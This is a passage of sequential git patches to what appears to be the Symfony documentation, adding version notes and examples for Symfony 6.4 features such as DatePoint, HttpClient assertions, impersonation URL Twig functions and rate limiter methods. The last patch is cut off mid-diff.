From f46ccf220eb3b842bb0638b28f9197e9f19a4870 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 27 Sep 2023 23:22:05 +0200
Subject: [PATCH 3872/5766] Update FormEvents Data and Form Data description

---
 form/events.rst | 75 ++++++++++++++++++++++++++-----------------------
 1 file changed, 40 insertions(+), 35 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 40b530b88f2..44cb6cc0074 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -67,13 +67,14 @@ The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.
 
-===============  ========
-Data Type        Value
-===============  ========
-Model data       ``null``
-Normalized data  ``null``
-View data        ``null``
-===============  ========
+====================  ======================================
+Data Type             Value
+====================  ======================================
+Event data            Model data injected into ``setData()``
+Form model data       ``null``
+Form normalized data  ``null``
+Form view data        ``null``
+====================  ======================================
 
 .. seealso::
 
@@ -98,13 +99,14 @@ The ``FormEvents::POST_SET_DATA`` event is dispatched at the end of the
 method. This event can be used to modify a form depending on the populated data
 (adding or removing fields dynamically).
 
-===============  ====================================================
-Data Type        Value
-===============  ====================================================
-Model data       Model data injected into ``setData()``
-Normalized data  Model data transformed using a model transformer
-View data        Normalized data transformed using a view transformer
-===============  ====================================================
+====================  ====================================================
+Data Type             Value
+====================  ====================================================
+Event data            Model data injected into ``setData()``
+Form model data       Model data injected into ``setData()``
+Form normalized data  Model data transformed using a model transformer
+Form view data        Normalized data transformed using a view transformer
+====================  ====================================================
 
 .. seealso::
 
@@ -144,13 +146,14 @@ It can be used to:
 * Change data from the request, before submitting the data to the form;
 * Add or remove form fields, before submitting the data to the form.
 
-===============  ========================================
-Data Type        Value
-===============  ========================================
-Model data       Same as in ``FormEvents::POST_SET_DATA``
-Normalized data  Same as in ``FormEvents::POST_SET_DATA``
-View data        Same as in ``FormEvents::POST_SET_DATA``
-===============  ========================================
+====================  ========================================
+Data Type             Value
+====================  ========================================
+Event data            Data from the request
+Form model data       Same as in ``FormEvents::POST_SET_DATA``
+Form normalized data  Same as in ``FormEvents::POST_SET_DATA``
+Form view data        Same as in ``FormEvents::POST_SET_DATA``
+====================  ========================================
 
 .. seealso::
 
@@ -175,13 +178,14 @@ transforms back the normalized data to the model and view data.
 
 It can be used to change data from the normalized representation of the data.
 
-===============  ===================================================================================
-Data Type        Value
-===============  ===================================================================================
-Model data       Same as in ``FormEvents::POST_SET_DATA``
-Normalized data  Data from the request reverse-transformed from the request using a view transformer
-View data        Same as in ``FormEvents::POST_SET_DATA``
-===============  ===================================================================================
+====================  ===================================================================================
+Data Type             Value
+====================  ===================================================================================
+Event data            Data from the request reverse-transformed from the request using a view transformer
+Form model data       Same as in ``FormEvents::POST_SET_DATA``
+Form normalized data  Same as in ``FormEvents::POST_SET_DATA``
+Form view data        Same as in ``FormEvents::POST_SET_DATA``
+====================  ===================================================================================
 
 .. seealso::
 
@@ -207,13 +211,14 @@ model and view data have been denormalized.
 
 It can be used to fetch data after denormalization.
 
-===============  =============================================================
-Data Type        Value
-===============  =============================================================
-Model data       Normalized data reverse-transformed using a model transformer
-Normalized data  Same as in ``FormEvents::SUBMIT``
-View data        Normalized data transformed using a view transformer
-===============  =============================================================
+====================  ===================================================================================
+Data Type             Value
+====================  ===================================================================================
+Event data            Normalized data transformed using a view transformer
+Form model data       Normalized data reverse-transformed using a model transformer
+Form normalized data  Data from the request reverse-transformed from the request using a view transformer
+Form view data        Normalized data transformed using a view transformer
+====================  ===================================================================================
 
 .. seealso::
 

From 6c1fc1765897797c6a5ed26127c577b2fd595ce4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Sep 2023 15:21:36 +0200
Subject: [PATCH 3873/5766] Add missing versionadded

---
 mailer.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e817324f001..866b63c3b00 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -344,6 +344,9 @@ may be specified in sha1 (40 characters) or md5 (32 characters)::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
+.. versionadded:: 6.4
+
+    The ``peer_fingerprint`` option was introduced in Symfony 6.4.
 
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From bde97b5a497f52bbd09f88966e4792835338786e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Sep 2023 15:21:59 +0200
Subject: [PATCH 3874/5766] Minor

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 866b63c3b00..880ef66a879 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -340,7 +340,7 @@ TLS Peer Fingerprint Verification
 Additional fingerprint verification can be enforced with the ``peer_fingerprint``
 option. This is especially useful when a self-signed certificate is used and
 disabling ``verify_peer`` is needed, but security is still desired. Fingerprint
-may be specified in sha1 (40 characters) or md5 (32 characters)::
+may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 

From ce5e0be33c48c4c63a9061b9258e298f99856586 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Sep 2023 15:36:27 +0200
Subject: [PATCH 3875/5766] Clarify MapRequestPayload with nested arrays

---
 controller.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/controller.rst b/controller.rst
index 9460f21f213..0f2d5b76bac 100644
--- a/controller.rst
+++ b/controller.rst
@@ -502,6 +502,26 @@ payload formats::
         // ...
     }
 
+Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
+if you want to map a nested array of specific DTOs::
+
+    public function dashboard(
+        #[MapRequestPayload()] EmployeesDTO $employeesDto
+    ): Response
+    {
+        // ...
+    }
+
+    final class EmployeesDTO
+    {
+        /**
+         * @param UserDTO[] $users
+         */
+        public function __construct(
+            public readonly array $users = []
+        ) {}
+    }
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
@@ -771,3 +791,5 @@ Learn more about Controllers
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
 .. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
+.. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
+.. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver

From 35267423287eb0325d326ec575e6bf393123b2a9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Sep 2023 18:22:58 +0200
Subject: [PATCH 3876/5766] [Security] Mention customizing successful and
 failed authentication

---
 security.rst            | 14 ++++++++++++++
 security/login_link.rst |  2 ++
 2 files changed, 16 insertions(+)

diff --git a/security.rst b/security.rst
index 5b38acb53ea..1ed65029c86 100644
--- a/security.rst
+++ b/security.rst
@@ -1602,6 +1602,20 @@ and set the ``limiter`` option to its service ID:
             ;
         };
 
+Customize Successful and Failed Authentication Behavior
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to customize the success or failure handling process, instead of
+overwriting the respective listeners globally, you can set custom success
+failure handlers by implementing the
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`
+or the
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
+
+If you want more information about this, you can have a look at the section
+about
+:ref:`customizing your success handler <login-link_customize-success-handler>`.
+
 .. _security-logging-out:
 
 Logging Out
diff --git a/security/login_link.rst b/security/login_link.rst
index 4dea64c7662..d747202ff93 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -693,6 +693,8 @@ from the first hash value and the ``kernel.secret`` container parameter. This
 allows Symfony to sign this final hash, which is contained in the login URL.
 The final hash is also a Base64 encoded SHA-256 hash.
 
+.. _login-link_customize-success-handler:
+
 Customizing the Success Handler
 -------------------------------
 

From f14bc1437b71d35b35968fa8c7e49bb81fe58120 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Sep 2023 18:50:47 +0200
Subject: [PATCH 3877/5766] [Clock] Add `DatePoint`

---
 components/clock.rst | 55 +++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 54 insertions(+), 1 deletion(-)

diff --git a/components/clock.rst b/components/clock.rst
index e098dc6a3b1..19bb51ae6ea 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -30,6 +30,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+.. _clock_usage:
+
 Usage
 -----
 
@@ -60,7 +62,7 @@ The Clock component also provides the ``now()`` function::
 
     use function Symfony\Component\Clock\now;
 
-    // Get the current time as a DateTimeImmutable instance
+    // Get the current time as a DatePoint instance
     $now = now();
 
 The ``now()`` function takes an optional ``modifier`` argument
@@ -73,6 +75,9 @@ which will be applied to the current time::
 You can use any string `accepted by the DateTime constructor`_.
 
 Later on this page you can learn how to use this clock in your services and tests.
+When using the Clock component, you manipulate
+:class:`Symfony\\Component\\Clock\\DatePoint` instances. You can learn more
+about it in :ref:`the dedicated section <clock_date-point>`.
 
 .. versionadded:: 6.3
 
@@ -207,6 +212,53 @@ being in a month or another.
 
     The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.
 
+.. _clock_date-point:
+
+The ``DatePoint`` Class
+-----------------------
+
+The Clock component uses a special :class:`Symfony\\Component\\Clock\\DatePoint`
+class. This is a small wrapper on top of PHP's :phpclass:`DateTimeImmutable`.
+You can use it seamlessly everywhere a :phpclass:`DateTimeImmutable` or
+:phpclass:`DateTimeInterface` is expected. The ``DatePoint`` object fetches the
+date and time from the :class:`Symfony\\Component\\Clock\\Clock` class. This means
+that if you did any changes to the clock as stated in the
+:ref:`usage section <clock_usage>`, it will be reflected when creating a new
+``DatePoint``. You can also create a new ``DatePoint`` instance directly, for
+instance when using it as a default value::
+
+    use Symfony\Component\Clock\DatePoint;
+
+    class Post
+    {
+        public function __construct(
+            // ...
+            private \DateTimeImmutable $createdAt = new DatePoint(),
+        ) {
+        }
+    }
+
+The constructor also allows setting a timezone or custom referenced date::
+
+    // you can specify a timezone
+    $withTimezone = new DatePoint(timezone: new \DateTimezone('UTC'));
+
+    // you can also create a DatePoint from a reference date
+    $referenceDate = new \DateTimeImmutable();
+    $relativeDate = new DatePoint('+1month', reference: $referenceDate);
+
+.. note::
+    In addition ``DatePoint`` offers stricter return types and provides consistent
+    error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
+    on the topic.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Clock\\DatePoint` class was introduced
+    in Symfony 6.4.
+
+.. _clock_writing-tests:
+
 Writing Time-Sensitive Tests
 ----------------------------
 
@@ -294,3 +346,4 @@ use them even if your project doesn't use PHP 8.3 yet.
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
 .. _`PHP DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
 .. _`symfony/polyfill-php83`: https://github.com/symfony/polyfill-php83
+.. _`PHP 8.3's behavior`: https://wiki.php.net/rfc/datetime-exceptions

From 2ff728fb946b316f7d4381b6d44ba97e28b7793c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 29 Sep 2023 12:41:03 +0200
Subject: [PATCH 3878/5766] minor

---
 components/clock.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/clock.rst b/components/clock.rst
index 19bb51ae6ea..f58124c70af 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -248,6 +248,7 @@ The constructor also allows setting a timezone or custom referenced date::
     $relativeDate = new DatePoint('+1month', reference: $referenceDate);
 
 .. note::
+
     In addition ``DatePoint`` offers stricter return types and provides consistent
     error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
     on the topic.

From 7e4c376c6568ae3c96158d3d6b7f7ce19de70d7b Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Fri, 29 Sep 2023 12:54:06 +0200
Subject: [PATCH 3879/5766] [Console] Fix codeblock markup

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index e9e3ebea4cc..bb445b6b148 100644
--- a/console.rst
+++ b/console.rst
@@ -585,7 +585,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 When testing your commands, it could be useful to understand how your command
 reacts on different settings like the width and the height of the terminal.
 You have access to such information thanks to the
-:class:`Symfony\\Component\\Console\\Terminal` class:
+:class:`Symfony\\Component\\Console\\Terminal` class::
 
     use Symfony\Component\Console\Terminal;
 

From 833c6a32e941baa6570feaa4c2a501f17e16019b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 30 Sep 2023 20:24:08 +0200
Subject: [PATCH 3880/5766] [WebProfilerBundle] Document `!` operator negating
 url filter

---
 profiler.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index e8b587eb9c1..b21132a5816 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -79,15 +79,22 @@ look for tokens based on some criteria::
     // gets the latest 10 tokens
     $tokens = $profiler->find('', '', 10, '', '', '');
 
-    // gets the latest 10 tokens for all URL containing /admin/
+    // gets the latest 10 tokens for all URLs containing /admin/
     $tokens = $profiler->find('', '/admin/', 10, '', '', '');
 
+    // gets the latest 10 tokens for all URLs not containing /api/
+    $tokens = $profiler->find('', '!/api/', 10, '', '', '');
+
     // gets the latest 10 tokens for local POST requests
     $tokens = $profiler->find('127.0.0.1', '', 10, 'POST', '', '');
 
     // gets the latest 10 tokens for requests that happened between 2 and 4 days ago
     $tokens = $profiler->find('', '', 10, '', '4 days ago', '2 days ago');
 
+.. versionadded:: 6.4
+
+    Prefixing the URL filter with a ``!`` symbol to negate the query was introduced in Symfony 6.4.
+
 Data Collectors
 ---------------
 

From 189d0af74ab3eb78e881775df1779c8152d086a9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Oct 2023 10:48:38 +0200
Subject: [PATCH 3881/5766] [FrameworkBundle] Allow BrowserKit relative URL
 redirect assert

---
 testing.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index df24c4f8601..5e59ed56b1d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -925,7 +925,8 @@ Response Assertions
     Asserts a specific HTTP status code.
 ``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
     Asserts the response is a redirect response (optionally, you can check
-    the target location and status code).
+    the target location and status code). The excepted location can be either
+    an absolute or a relative path.
 ``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
     Asserts the given header is (not) available on the response, e.g. ``assertResponseHasHeader('content-type');``.
 ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
@@ -943,6 +944,10 @@ Response Assertions
 ``assertResponseIsUnprocessable(string $message = '')``
     Asserts the response is unprocessable (HTTP status is 422)
 
+.. versionadded:: 6.4
+    The support for relative path in ``assertResponseRedirects()`` was introduced
+    in Symfony 6.4.
+
 Request Assertions
 ..................
 

From 6171ba8a4866584bf8bf0c76b5b98e6d640bc11c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Oct 2023 10:52:59 +0200
Subject: [PATCH 3882/5766] [Mime] Add TemplatedEmail::locale() to set the
 locale for the email rendering

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8dc952f2fb9..9815cf3ca65 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -791,6 +791,9 @@ for Twig templates::
         // path of the Twig template to render
         ->htmlTemplate('emails/signup.html.twig')
 
+        // change locale used in the template, e.g. to match user's locale
+        ->locale('de')
+
         // pass variables (name => value) to the template
         ->context([
             'expiration_date' => new \DateTime('+7 days'),
@@ -798,6 +801,11 @@ for Twig templates::
         ])
     ;
 
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail::locale` method
+    was introduced in Symfony 6.4.
+
 Then, create the template:
 
 .. code-block:: html+twig

From e70ac9251293bd3c5e7b7d66666d34a4c40da63d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Oct 2023 10:37:47 +0200
Subject: [PATCH 3883/5766] [Messenger] Add `--all` option to
 `messenger:failed:remove`

---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 75e613121b9..ef4dda2e99b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1105,10 +1105,18 @@ to retry them:
     # remove messages without retrying them and show each message before removing it
     $ php bin/console messenger:failed:remove 20 30 --show-messages
 
+    # remove all messages in the failure transport
+    $ php bin/console messenger:failed:remove --all
+
 .. versionadded:: 6.2
 
     The ``--class-filter`` and ``--stats`` options were introduced in Symfony 6.2.
 
+.. versionadded:: 6.4
+
+    The ``--all`` option was introduced in Symfony 6.4.
+
+
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.

From 2e53f5fcea98bf8772ff3d8785946455f1209676 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 1 Oct 2023 12:26:14 +0200
Subject: [PATCH 3884/5766] minor

---
 testing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/testing.rst b/testing.rst
index 3a0043f1984..4c8db86ad08 100644
--- a/testing.rst
+++ b/testing.rst
@@ -998,6 +998,7 @@ Response Assertions
     Asserts the response is unprocessable (HTTP status is 422)
 
 .. versionadded:: 6.4
+
     The support for relative path in ``assertResponseRedirects()`` was introduced
     in Symfony 6.4.
 

From b769bf23128afb1ddb02b731183953d112b042a3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:08:25 +0200
Subject: [PATCH 3885/5766] [TwigBridge] Add `AppVariable::getEnabledLocales()`

---
 templates.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/templates.rst b/templates.rst
index 3aeacce79a4..54749f6e65a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -382,6 +382,8 @@ gives you access to these variables:
     empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``)
 ``app.locale``
     The locale used in the current :ref:`locale switcher <locale-switcher>` context.
+``app.enabled_locales``
+    The locales enabled in the application
 
 .. versionadded:: 6.2
 
@@ -392,6 +394,10 @@ gives you access to these variables:
 
     The ``app.locale`` variable was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``app.enabled_locales`` variable was introduced in Symfony 6.4.
+
 In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.

From eb7b339fd92ec4c8cf5fe358e1fc24388e02c1cc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:12:34 +0200
Subject: [PATCH 3886/5766] [FrameworkBundle] Add `--show-aliases` option to
 `debug:router` command

---
 routing.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/routing.rst b/routing.rst
index 5aa2bf45095..ae7ccdcb6f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -462,6 +462,15 @@ route details:
     |             | utf8: true                                              |
     +-------------+---------------------------------------------------------+
 
+.. tip::
+
+    Use the ``--show-aliases`` option to show all available aliases for a given
+    route.
+
+.. versionadded:: 6.4
+
+    The ``--show-aliases`` option was introduced in Symfony 6.4.
+
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:

From cb975e563b6d2165183d620ea7c2edafe909e8b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Cl=C3=A9ment=20Barbaza?= <cba85@users.noreply.github.com>
Date: Mon, 2 Oct 2023 10:17:38 +0200
Subject: [PATCH 3887/5766] Update PHPUnit docs links

---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 1d6c0e1ee11..cb272319ebb 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1131,12 +1131,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://docs.phpunit.de/
-.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.6/configuration.html
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.3/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.3/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.6/assertions.html
+.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/10.3/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 061bc3f73dc01dbb802ced9d1fa3c87764a5c606 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:58:01 +0200
Subject: [PATCH 3888/5766] [TwigBridge] Add new Twig bridge function to
 generate impersonation path

---
 reference/twig_reference.rst | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index d94d8d500a9..7426fab8ebc 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -286,6 +286,41 @@ expression
 Creates an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` related
 to the :doc:`ExpressionLanguage component </components/expression_language>`.
 
+impersonation_path
+~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ impersonation_path(identifier) }}
+
+``identifier``
+    **type**: ``string``
+
+Generates a URL that you can visit to
+:doc:`impersonate a user </security/impersonating_user>`, identified by the
+``identifier`` argument.
+
+.. versionadded:: 6.4
+
+    The ``impersonation_path()`` function was introduced in Symfony 6.4.
+
+impersonation_url
+~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ impersonation_url(identifier) }}
+
+``identifier``
+    **type**: ``string``
+
+It's similar to the `impersonation_path`_ function, but it generates
+absolute URLs instead of relative URLs.
+
+.. versionadded:: 6.4
+
+    The ``impersonation_url()`` function was introduced in Symfony 6.4.
+
 impersonation_exit_path
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From 345d3341779ca001308881769b6d6f38be562d24 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 11:06:34 +0200
Subject: [PATCH 3889/5766] [HttpFoundation] Support root-level Generator in
 StreamedJsonResponse

---
 components/http_foundation.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0e46d0648fa..d02eaad726c 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -709,6 +709,28 @@ after some specific item count to send the contents to the browser::
         }
     }
 
+You also have the possibility to directly pass any iterable to
+``StreamedJsonResponse``, including generators::
+
+    public function loadArticles(): \Generator
+    {
+         yield ['title' => 'Article 1'];
+         yield ['title' => 'Article 2'];
+         yield ['title' => 'Article 3'];
+    }
+
+    public function __invoke(): Response
+    {
+        // ...
+
+        return new StreamedJsonResponse(loadArticles());
+    }
+
+.. versionadded:: 6.4
+
+    The support for any iterable in ``StreamedJsonResponse`` was introduced in
+    Symfony 6.4.
+
 .. _component-http-foundation-serving-files:
 
 Serving Files

From b5b00937f16fa95e9abc58d643a55696789a286d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:06:00 +0200
Subject: [PATCH 3890/5766] [RateLimiter] Add `SlidingWindowLimiter::reserve()`

---
 rate_limiter.rst | 20 +++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 981167095d2..06c888b480b 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -320,6 +320,11 @@ processes by reserving unused tokens.
             $limit->wait();
         } while (!$limit->isAccepted());
 
+.. versionadded:: 6.4
+
+    The support for the ``reserve()`` method for the ``SlidingWindow`` strategy
+    was introduced in Symfony 6.4.
+
 Exposing the Rate Limiter Status
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -348,7 +353,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
             $limit = $limiter->consume();
             $headers = [
                 'X-RateLimit-Remaining' => $limit->getRemainingTokens(),
-                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp(),
+                'X-RateLimit-Retry-After' => $limit->calculateTimeForTokens(1, 1),
                 'X-RateLimit-Limit' => $limit->getLimit(),
             ];
 
@@ -365,6 +370,19 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
+    method was introduced in Symfony 6.4.
+
+.. deprecated:: 6.4
+
+    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::getRetryAfter`
+    method is deprecated since Symfony 6.4. Prior to this version, the
+    ``getRetryAfter()`` method must be used instead of the
+    :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
+    method.
+
 .. _rate-limiter-storage:
 
 Storing Rate Limiter State

From caa34835164c37ad1de6aad3bfa995e438305a96 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Mon, 2 Oct 2023 15:27:14 +0200
Subject: [PATCH 3891/5766] Add HttpClientAssertions trait documentation

---
 testing.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/testing.rst b/testing.rst
index 4c8db86ad08..a00a60c9ed2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1144,6 +1144,31 @@ Notifier Assertions
 
     The Notifier assertions were introduced in Symfony 6.2.
 
+HttpClient Assertions
+.....................
+
+.. tip::
+
+    For all following assertions, ``$client->enableProfiler()`` must be called before the code that will trigger HTTP request(s).
+
+``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
+    Asserts that the given URL has been called using, is specified,
+    the given method body and headers. By default it will check on the HttpClient,
+    but a HttpClient id can be specified.
+    (It will succeed if the request has been called multiple times.)
+
+``assertNotHttpClientRequest(string $unexpectedUrl, string $expectedMethod = 'GET', string $httpClientId = 'http_client')``
+    Asserts that the given URL has not been called using GET or the specified method.
+    By default it will check on the HttpClient, but a HttpClient id can be specified.
+
+``assertHttpClientRequestCount(int $count, string $httpClientId = 'http_client')``
+    Asserts that the given number of requests has been made on the HttpClient.
+    By default it will check on the HttpClient, but a HttpClient id can be specified.
+
+.. versionadded:: 6.4
+
+    The HttpClient assertions were introduced in Symfony 6.4.
+
 .. TODO
 ..  End to End Tests (E2E)
 ..  ----------------------

From 3d408ade0bbe7579fd749979b3f7a46369cd54ab Mon Sep 17 00:00:00 2001
From: valmonzo <valmont.pehaut@alximy.io>
Date: Mon, 2 Oct 2023 18:58:22 +0200
Subject: [PATCH 3892/5766] [Validator] Change preg_match condition on
 ContainsAlphanumericValidator

---
 validation/custom_constraint.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 57caa12a1e6..0dffa0fa29d 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -117,12 +117,14 @@ The validator class only has one required method ``validate()``::
                 // ...
             }
 
-            if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
-                // the argument must be a string or an object implementing __toString()
-                $this->context->buildViolation($constraint->message)
-                    ->setParameter('{{ string }}', $value)
-                    ->addViolation();
+            if (preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
+                return;
             }
+
+            // the argument must be a string or an object implementing __toString()
+            $this->context->buildViolation($constraint->message)
